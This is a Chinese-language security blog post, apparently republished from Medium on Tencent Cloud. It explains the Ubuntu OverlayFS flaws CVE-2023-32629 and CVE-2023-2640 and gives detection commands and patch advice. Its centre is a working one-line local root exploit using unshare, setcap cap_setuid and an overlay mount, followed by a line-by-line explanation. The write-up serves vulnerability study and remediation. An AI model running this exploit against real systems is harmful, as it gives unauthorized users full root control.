
漏洞 CVE-2023–32629 和 CVE-2023–2640 均是在 Ubuntu 内核的 OverlayFS 模块中被发现的。这里提供了一个简单的概念验证(PoC)来检查您的 Ubuntu 系统是否易受攻击,以及如何修复。
此漏洞涉及特定的 Ubuntu 内核,这些内核允许非特权用户在挂载的文件上设置特权扩展属性,而无需经过适当的安全检查。本质上,非特权用户可以在挂载的文件上设置特权扩展属性,导致这些属性在未经适当安全检查的情况下被设置在上层文件中,这可能引发未授权访问或其他未指定的影响。
参考:
https://nvd.nist.gov/vuln/detail/CVE-2023-2640
这是一个本地权限提升漏洞,在 Ubuntu 内核上执行某些操作时会跳过权限检查。更具体地说,该漏洞存在于 OverlayFS 的 ovl_copy_up_meta_inode_data 函数中,当在 Ubuntu 内核上调用 ovl_do_setxattr 时会跳过权限检查。
参考:
https://www.tenable.com/cve/CVE-2023-32629
获取 0xRave 的最新文章
通过免费加入 Medium 来接收此作者的更新。
订阅订阅
https://access.redhat.com/security/cve/CVE-2023-32629
这两个漏洞都可能导致本地权限提升,使得非特权用户能够在系统上获得提升的权限。这是一个严重问题,因为攻击者可以利用其已有的基本访问权限将权限提升至 root 级别,从而获得对受影响系统的完全控制。
以下载荷用于检查 ubuntu 是否支持或正在运行 overlay。
# 检查模块是否已加载
lsmod | grep overlay
# 检查模块是否可用
modinfo overlay
# 检查文件系统类型
mount | grep overlay截图来自运行 22.04.2 Ubuntu 的 HTB 分析机
# 请确保以较低权限用户运行此载荷,您可以将 /bin/bash 替换为其他命令。
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'权限提升成功。
unshare -rm:unshare 是一个命令,允许你在新的命名空间中运行程序。命名空间是 Linux 内核的一个功能,用于分区内核资源,使得一组进程看到一组资源,而另一组进程看到另一组隔离的资源。-r 选项创建一个新的用户命名空间,并将用户映射到新命名空间中的 root。-m 选项创建一个新的挂载命名空间,意味着在此命名空间内进行的任何挂载操作不会被外部的进程看到。sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;:sh) 来执行 -c 后面提供的命令字符串。mkdir l u w m 创建四个名为 l、u、w 和 m 的目录。cp /u*/b*/p*3 l/ 这个命令复制一个 Python3 二进制文件(基于模式 /u*/b*/p*3)到 l 目录。setcap cap_setuid+eip l/python3;:setcap 用于在二进制文件上设置能力(capabilities)。cap_setuid 允许二进制文件更改其 UID(用户标识符)。+eip 确保该能力是有效(effective)、可继承(inheritable)和允许(permitted)的。l 目录中的 python3 二进制文件更改其用户 ID 的能力,从而有效地允许其成为任何用户,包括 root。mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m:u 覆盖在 l 之上,使用 w 作为工作目录,并将生成的文件系统挂载到 m。touch m/*:m 目录中存在的每个文件创建一个新的空文件。u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")':sh 命令序列完成后,这会从 u 目录运行一个 Python3 命令。os.setuid(0) 将当前进程的用户 ID 设置为 0,即 root 的 UID。鉴于 Python3 二进制文件已被授予 cap_setuid 能力,它可以有效地将其 UID 更改为 root。os.system("/bin/bash") 启动一个新的 bash shell。由于进程的用户 ID 刚刚被设置为 root,这个 bash shell 将以 root 权限运行。载荷参考:
https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/a
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/blob/main/exploit.sh
更新 Ubuntu 内核版本。
参考:
https://ubuntu.com/security/notices/USN-6250-1
参考:
https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/
https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability#mitigation--detection-19 (这是一篇很好的读物)
https://nvd.nist.gov/vuln/detail/CVE-2023-2640#match-9430748
https://nvd.nist.gov/vuln/detail/CVE-2023-32629
CSD0tFqvECLokhw9aBeRqvv8hd32qP6+f9dIJtkMl6ZFs1rL08r585eYN9L8NlnpHJxv1v4NRuGnLc3c2zdNlqmALpNbNm2zJfiH2htFkEaA1EcFOo1vKQSxewrwb5EZ/Z6zNYqu07XwbNTCiBXciGQ1TvNQA7S8iZ31SzC2dpw=
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。